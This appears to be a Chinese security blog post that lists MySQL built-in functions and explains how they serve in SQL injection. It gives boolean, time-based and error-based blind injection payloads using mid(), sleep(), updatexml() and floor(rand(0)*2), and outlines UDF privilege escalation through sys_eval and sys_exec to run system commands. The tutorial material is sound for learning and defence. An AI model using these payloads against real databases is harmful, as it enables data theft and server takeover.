前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >数据库系统函数的注入利用(初识)

数据库系统函数的注入利用(初识)

作者头像
Mirror王宇阳
发布2020-11-12 11:11:20
4900
发布2020-11-12 11:11:20
举报

数据库系统功能

MySQL系统自带函数

*更多函数:https://blog.csdn.net/qq646040754/article/details/82721801

数学函数:

bin(x)/hex(x) 返回x的二进制/十六进制编码

abs(x) x的绝对值

mod(x,y) 求余运算

sqrt(x) 平方根运算

ceil(x) / ceiling(x)

rand() 返回0~1之间的浮点数

round(x,D) 四舍五入保留D位小数

sign(x) 返回x的符号

pow(x,y) x的y次幂

exp(x) e的x次幂

floor(x) 返回小于或等于x的最大整数

count(x) 返回查询的记录总数

sum() 返回计算总和

日期函数

addate(d,n) 计算起始日期d加上n天的日期

addtime(t,n) 计算t加上n秒的时间

curdate() current_date()返回当前日期

curtime() current_time()返回当前时间

current_timestamp() localtime() now() sysdate() 返回日期和时间

字符串函数:

ascii(str) 返回字符串第一个字符的ASCII值

char_langth(str) 统计字符串的字符数

length(str) 返回str字符串的长度

insert(str,x,y,insert) 将字符串从x开始,y个字符长度替换为字符串insert

lpad(s1,len,s2) 在字符串s1的开始处填充字符串s2,使得长度达到len

rpad(s1,len,s2) 在字符串s1的结尾处填充字符串s2,使得长度达到len

ltrim(s)/rtrim(s) 删除字符串s的开始/结尾处的空格

locate(s1,s) 从字符串s中获取s1的开始位置

position(s1 in s2) 从字符串s中获取s1开始的位置

left(s,n)返回字符串s的前n个字符

right(s,n) 返回字符串s的后n个字符

mid(s,n,len),substring(s,n,len),substr(s,n,len) 从n位置字符串s截取len

concat(s1,s2,…)返回s1,s2连接的字符串

concat_ws(s1,s2,'char'^) 返回可自由添加分隔符的拼接字符串

lcase() lower() 字母小写转换

ucase(s) upper(s) 字母大写转换

field() 返回第一个字符串在字符串列表的位置

find_in_set(s1,s2) 返回字符串s1在字符串s2的匹配位置

repeat(s,n) 字符串s重复n次

reverse(s) 字符串反序

strcmp(s1,s2) 比较字符串s1,s2并返回比较结果

nullif(exp1,exp2) 比较两个字符串

formax(x,n) 对数字x进行格式化,将x保留到小数点后n位(四舍五入)

truncate(x,y) 返回数值x保留到小数点后y位的值,(不会四舍五入)

binary(s) 将字符串s转换为二进制字符串

特殊函数:

connection_id() 返回连接该数据库服务器 的ID

current_user() sssion_user system_user() user() 返回当前用户名

database() 返回当前数据库名

version() 返回数据库的版本号

@@version_compile_os 查看系统架构

@@version_compile_machine 查看mysql架构

@@datadir 查看数据的存储目录

函数的利用姿势:

length函数:判断长度

代码语言:javascript
复制
select length(database());

count()函数:返回匹配指定条件的行数

代码语言:javascript
复制
union select 1,count(*),3 from user;-- 查看当前表的数量

mid()函数:用于从字段中提取(一段)字符(布尔/时间/报错 盲注)

代码语言:javascript
复制
and mid(user(),1,1)='r';
代码语言:javascript
复制
and if(mid(user(),1,1)='r',sleep(2),1);
代码语言:javascript
复制
and updatexml(1,mid(concat(0x7e,user()),1,5),1)

group by语句:结合聚合函数使用(报错注入)

代码语言:javascript
复制
and (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group bu x)a)

if(1,2,3):时间盲注

代码语言:javascript
复制
select if(1=1,sleep(2),1)

MySQL执行系统命令

system 执行格式:

代码语言:javascript
复制
mysql> system <linux命令>

UDF提权执行系统命令:

  • UDF是MySQL用户自定义的函数,
  • 要求: plugin目录具备读写权限

查看系统和MySQL架构

代码语言:javascript
复制
select @@version_compile_os , @@version_compile_machine ;

UDF库需要放在MySQL的plugin文件中

代码语言:javascript
复制
select @@plugin_dir;

自定义创建函数语法:

代码语言:javascript
复制
create [aggregate] function <function_name> returns <string|integer|real> soname 'file_name';

AGGREGATE 表示聚合函数,系统定义的聚合函数有:count(),ave(),mn(),sum()

SONAME 表示这个函数从哪个文件中引入,这个文件一般是动态链接库,windows是dll,linux是so,并且这个文件再mysql的plugin目录下;

UDF支持的函数:

sys_eval 执行任意命令,并返回他的输出

sys_exec 执行任意命令,并返回他的退出代码

sys_get 获取环境变量的值

sys_set 创建环境变量或更新现有的环境变量的值

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019-10-13 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 数据库系统功能
    • MySQL系统自带函数
      • 数学函数:
      • 日期函数:
      • 字符串函数:
      • 特殊函数:
      • 函数的利用姿势:
    • MySQL执行系统命令
      • system 执行格式:
      • UDF提权执行系统命令:
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档